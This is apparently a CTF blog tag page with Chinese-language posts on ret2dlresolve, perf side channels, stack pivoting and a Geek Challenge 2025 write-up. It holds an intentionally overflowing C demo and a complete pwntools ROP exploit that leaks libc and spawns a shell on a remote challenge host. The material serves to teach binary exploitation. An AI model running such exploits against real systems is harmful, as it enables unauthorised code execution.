workspace/tags/CTF/

CTF

  • Ret2dlresolve

    理论部分

    首先最好确认你学习过ELF文件结构相关的内容,当然如果没学过这里也会简单的讲解一些 本文主要讲靠pwntools的Ret2dlresolvePayload工具一把梭所需payload,这比手搓payload轮椅太多了,手搓payload咕到下回了,毕竟国道上的大运只管开就好了,但旁边的小轿车考虑的可就多了

    这里来复习一下动态链接和延迟绑定

    alt text
    图片中展示了当我们call一个函数时的大致流程(虽然缺少了部分内容,但是还是很直观的),如果我们首次 call 一个函数,首先是PLT[n]被执行,jmp 到 GOT 表中 对应的条目,但此时该GOT条目里存的还不是该函数的真实地址,而是 该函数 plt表 中下一条指令的地址,然后此时会push reloc_arg,它是在重定位表 .rel.plt 中,用来定位函数相关信息的一个偏移量,接下来跳转到 PLT 的起始部分,通常称为 PLT[0],然后PLT[0] 会先 push 一个 link_map 结构体的地址(通过 GOT[1] 获得),然后 jmp 到 _dl_runtime_resolve 函数(其地址存储在 GOT[2] 中)解析和填充GOT[n]为真实的函数地址,这个过程中我们只需要在可控的内存中伪造_dl_runtime_resolve的参数,也就是link_map 和 reloc_arg

    demo

    32位 非 Full RELRO

    示例demo

    #include <stdio.h>
    #include <unistd.h>
    
    static void vuln(void) {
        char buf[64];
    
        puts("Input:");
        read(0, buf, 0x200);
    }
    
    int main(void) {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stderr, NULL, _IONBF, 0);
    
        vuln();
        return 0;
    }
    

    使用以下命令编译

  • Perf与简单的侧信道攻击

    perf

    简介

    perf 是 Linux 系统性能分析工具集,全称是 Performance Event Counters 它基于 Linux 内核的 perf_events 子系统,能够提供硬件和软件层面的性能分析能力 我们这里会用到它的一些功能以获取一些硬件事件的信息,因此,你必须确保自己的虚拟机支持 PMU 功能

    准备perf

    事前准备

    首先确定你的设备支持 PMU 功能,如果条件允许,实体机上使用 perf 会方便很多,如果你使用的是 wsl2 作为使用的虚拟机,请在设置中开启 性能计数器 ,并使用除 ubuntu 以外的系统,因为 wsl2 对内核的魔改会导致一些兼容性问题,我捣鼓了两天也没能完美解决,可以在 wsl2 上选择其他 Linux 进行尝试,或者换用 VMware ,在使用VMware时,请在硬件设置里,添加上虚拟化 CPU 性能计数器,并禁用所有HyperV相关的设置,并关闭虚拟化保护 包括(仅限VMware使用者,wsl2 不要改):

    • Windows安全中心 -> 设备安全性 -> 内核隔离 -> 内存完整性/本地安全机构保护
    • Windows功能 -> Hyper-V/Virtual Machine Platform/Windows虚拟机监控程序平台

    perf安装

    安装 perf 可以通过

    sudo apt-get install linux-tools-generic
    

    相关设置

    使用权限

    等安装完成后并不能直接使用,你需要先查看

    cat /proc/sys/kernel/perf_event_paranoid
    

    这个perf_event_paranoid设置了运行时权限相关的内容,建议修改成小于等于1的值

    sudo sh -c 'echo -1 > /proc/sys/kernel/perf_event_paranoid'
    
    CPU核心与内存分配

    此时可以尝试一下使用

  • 栈迁移 - Pivoting

    栈迁移

    之前答应某人写一篇文章讲栈迁移,这里附带一些栈相关的知识,尽可能全面的讲述栈和栈迁移,结合例题应用 文章讨论的内容都建立在x86-64 linux

    栈相关寄存器

    rsp

    • 指向当前栈顶,决定 CPU 从哪里取返回地址与 ROP 数据

    rbp

    • 指向当前函数栈帧基址,用作稳定的栈内数据定位与栈迁移跳板

    栈相关的指令

    这里只讲一些需要特别注意的指令,add sub一类明显的就略过了

    push

    push是一个压栈指令,可以将寄存器立即数或内存中的数据压入栈中,这条指令的具体操作包括

    1. rsp - 8
    2. 将指定数据写在rsp指向的内存处 需要注意是先rsp减小,再写入数据,当压入立即数时会先符号扩展至8字节,再压入

    pop

    pop与push相反,用于弹栈,可以将rsp处的值弹出,他的流程大致为

    1. 弹出rsp处的值
    2. rsp + 8 需要注意pop事实上只移动了rsp,原本rsp处弹栈的数据并不会被清理

    call

    事实上call是一条隐式的push,当我们通过call调用某个地址时,实际做的是

    1. push rip
    2. jmp addr 它会将call的下一条指令的地址压,并jmp到刚刚call的地址

    ret

    和call相反,ret则是一条隐式的pop,当执行ret时

    1. pop rip
    2. jmp rip 会将之前call压栈的返回地址pop到rip,并跳转

    leave

    leave则是栈迁移的一条关键指令,主要作用是销毁栈 执行的时候

    1. mov rsp, rbp
    2. pop rbp 会将rsp移动到rbp处,并将当前位置的地址pop到rbp完成对rbp的移动

    如何迁移

    对于迁移栈,我们的目的是将栈移动到一个更加可控的位置,或利用有限的溢出大小实现更长的ROP链,也可以通过多次栈迁移布置特定的数据结构栈风水等

    gadget

    对于gadget的选取,一般有两种选择

    pop rbp
    retn
    
    leave
    retn
    

    这些gadget可以帮助我们控制rbp进而间接控制rsp

    迁移目标位置的选择

    可以通过gdb调试寻找一些可读可写的区域

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
                 Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
              0x400000           0x401000 r--p     1000       0 pwn
              0x401000           0x402000 r-xp     1000    1000 pwn
              0x402000           0x403000 r--p     1000    2000 pwn
              0x403000           0x404000 r--p     1000    2000 pwn
              0x404000           0x405000 rw-p     1000    3000 pwn
              0x405000           0x426000 rw-p    21000       0 [heap]
        0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
        0x7ffff7c28000     0x7ffff7db0000 r-xp   188000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
        0x7ffff7db0000     0x7ffff7dff000 r--p    4f000  1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
        0x7ffff7dff000     0x7ffff7e03000 r--p     4000  1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
        0x7ffff7e03000     0x7ffff7e05000 rw-p     2000  202000 /usr/lib/x86_64-linux-gnu/libc.so.6
        0x7ffff7e05000     0x7ffff7e12000 rw-p     d000       0 [anon_7ffff7e05]
        0x7ffff7fae000     0x7ffff7fb1000 rw-p     3000       0 [anon_7ffff7fae]
        0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000       0 [anon_7ffff7fbd]
        0x7ffff7fbf000     0x7ffff7fc3000 r--p     4000       0 [vvar]
        0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000       0 [vdso]
        0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
        0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
        0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
        0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
        0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
        0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]
    

    以这里为例, 0x404000 0x405000 rw-p 1000 3000 pwn就是一个很不错的选择

  • Geek Challenge 2025 WP


    这里只收录了我个人的wp,我队友的部分就不放出来了 第一次写,写的烂,就当参考吧,可能有很多地方不严谨或有误 还请各位大佬指教

    PWN

    old_rop

    解题流程

    查保护

    alt text
    查伪代码

    __int64 __fastcall main(int a1, char **a2, char **a3)
    {
      _QWORD buf[10]; // [rsp+10h] [rbp-50h] BYREF
    
      write(1, "Hello, World\n", 0xDuLL);
      strcpy((char *)buf, "welcome to ret2csu , but there is sometings different,please care about it !");
      write(1, buf, 0x4DuLL);
      write(1, "\n", 1uLL);
      sub_401156(1LL);
      return 0LL;
    }
    
    ssize_t sub_401156()
    {
      _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
    
      return read(0, buf, 0x200uLL);
    }
    

    在sub_401156有一个明显栈溢出,没有后门函数,打libc,得先泄露libc基址,用write打印即可,但此处没有控制rdx的gadget,只能用read的时候rdx的残余值0x200多打印一些,然后正常写rop链即可

    exp

    from pwn import *
    # io = process('./pwn')
    io = remote('geek.ctfplus.cn',32696)
    libc = ELF("./libc/libc.so.6")  
    elf = ELF("./pwnt") 
    
    write_got = elf.got['write']
    write_plt = elf.plt['write']
    
    pop_rdi = 0x00000000004012d3
    ret_addr = 0x000000000040101a 
    read_addr = 0x0000000000401156
    pop_rsi_r15 = 0x00000000004012d1
    
    line = io.recvline()
    print(line)
    line = io.recvline()
    print(line)
    
    payleak = cyclic(0x88) +p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) +p64(0) + p64(write_plt) +p64(read_addr)
    io.sendline(payleak)
    
    leaked_data = io.recv(0x200)
    write_addr = u64(leaked_data[0:8])
    print(f"Leaked write address: {hex(write_addr)}")
    libc_base = write_addr - libc.symbols['write']
    print(f"Libc base: {hex(libc_base)}")
    
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
    print("system:",hex(system_addr))
    print("binsh:",hex(binsh_addr))
    
    payload = cyclic(0x88) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
    io.sendline (payload)
    
    io.interactive()
    

    Mission Calculator

    解题流程

    这题不用查保护,就是一个单纯的计算题,直接写一个for全算出来发回去就行

Terminal

C0nvR3 Lab terminal ready. Type help for commands.